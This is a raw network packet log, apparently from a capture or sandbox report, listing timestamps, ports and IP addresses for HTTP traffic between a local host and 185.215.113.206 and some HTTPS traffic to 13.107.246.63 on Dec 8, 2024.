Dec 8, 2024 15:38:45.216686010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.216727018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.217475891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.217499971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.217552900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.218383074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.218436003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.218480110 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.218534946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.219244003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.219290018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.219307899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.219423056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.220182896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.220226049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.220287085 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.220328093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.221323967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.221421957 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.221471071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.222489119 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.222533941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.222670078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.222714901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.223774910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.223820925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.223913908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.223952055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.224818945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.224862099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.224961996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.225007057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.225887060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.225928068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.225987911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.226030111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.227030039 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.227076054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.227116108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.227220058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.228142023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.228249073 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.228293896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.229296923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.229469061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.229521036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.230434895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.230518103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.230530977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.231117010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.231606960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.231653929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.231693029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.231728077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.232700109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.232744932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.232820988 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.232861996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.233916998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.233974934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.234008074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.234051943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.277911901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.278007984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.278166056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.278439045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.278525114 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.278584957 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.279527903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.279577971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.279659033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.279920101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.280630112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.280673981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.280811071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.280853987 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.281802893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.281846046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.281898975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.281946898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.283041954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.283092022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.283114910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.283155918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.284048080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.284090042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.284173965 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.284214020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.285227060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.285271883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.285307884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.285350084 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.286478043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.286530018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.286705971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.286748886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.287563086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.287611961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.287672043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.287709951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.288860083 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.288928986 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.289017916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.289062023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.290257931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.290306091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.290350914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.290395975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.291338921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.291388988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.291434050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.291474104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.292311907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.292362928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.292398930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.292440891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.293504000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.293546915 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.293591022 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.293637037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.294553041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.294598103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.294708967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.294749975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.295726061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.295774937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.295814991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.295859098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.296864033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.296910048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.297108889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.297152996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.298360109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.298413038 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.298477888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.298518896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.299459934 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.299505949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.299621105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.299659967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.300496101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.300539970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.300621986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.300664902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.301892042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.301938057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.302017927 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.302054882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.303309917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.303361893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.303397894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.303438902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.304630995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.304673910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.304757118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.304800987 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.305998087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.306041956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.306080103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.306121111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.307135105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.307183027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.307239056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.307281971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.308190107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.308240891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.308274031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.308316946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.309060097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.309138060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.309174061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.309216022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.310024977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.310065985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.310127020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.310203075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.310825109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.310873032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.311002016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.311105967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.393671036 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.396030903 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.396059036 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.396541119 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.396553040 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.400614977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.400676966 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.400760889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.400799990 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.401149035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.401190042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.401356936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.401391983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.402276039 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.402331114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.402337074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.402436972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.403413057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.403521061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.403562069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.403609991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.404565096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.404663086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.404691935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.404731989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.405709982 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.405735970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.405766964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.405796051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.406830072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.406884909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.406938076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.408032894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.408102989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.408158064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.409116030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.409292936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.409332037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.410260916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.410408974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.410458088 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.411477089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.411533117 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.411581993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.411631107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.412539005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.412586927 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.412590027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.412626982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.413647890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.413690090 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.413899899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.413945913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.414798975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.414844036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.414876938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.414972067 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.415035009 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.415513992 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.415529013 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.415910959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.415958881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.416022062 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.416028023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.416028976 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.416029930 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.416068077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.416070938 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.416300058 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.416364908 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.416650057 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.416660070 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.416841984 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.417090893 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.417109966 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.417140007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.417247057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.417288065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.417490959 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.417496920 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.418195963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.418405056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.418452024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.419361115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.419473886 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.419519901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.420512915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.420593977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.420639992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.421777010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.421822071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.421902895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.421946049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.422293901 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.422311068 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.422698021 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.422703981 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.423202991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.423283100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.423336029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.423888922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.424541950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.424591064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.424669981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.424724102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.425940037 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.425983906 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.426060915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.426168919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.427192926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.430696964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.470611095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.470680952 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.470834017 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.470882893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.471178055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.471267939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.471299887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.471321106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.472404957 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.472457886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.472472906 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.472568989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.473684072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.473732948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.473738909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.473787069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.474715948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.474769115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.474865913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.475089073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.475855112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.475907087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.475944996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.476015091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.476975918 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.477024078 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.477106094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.478293896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.478348970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.478373051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.479106903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.479455948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.479532003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.479578972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.480360031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.480413914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.480453968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.480518103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.481779099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.481828928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.481829882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.481863022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.482691050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.482739925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.482786894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.482830048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.483623981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.483664989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.483720064 CET	80	49787	185.215.113.206	192.168.2.6
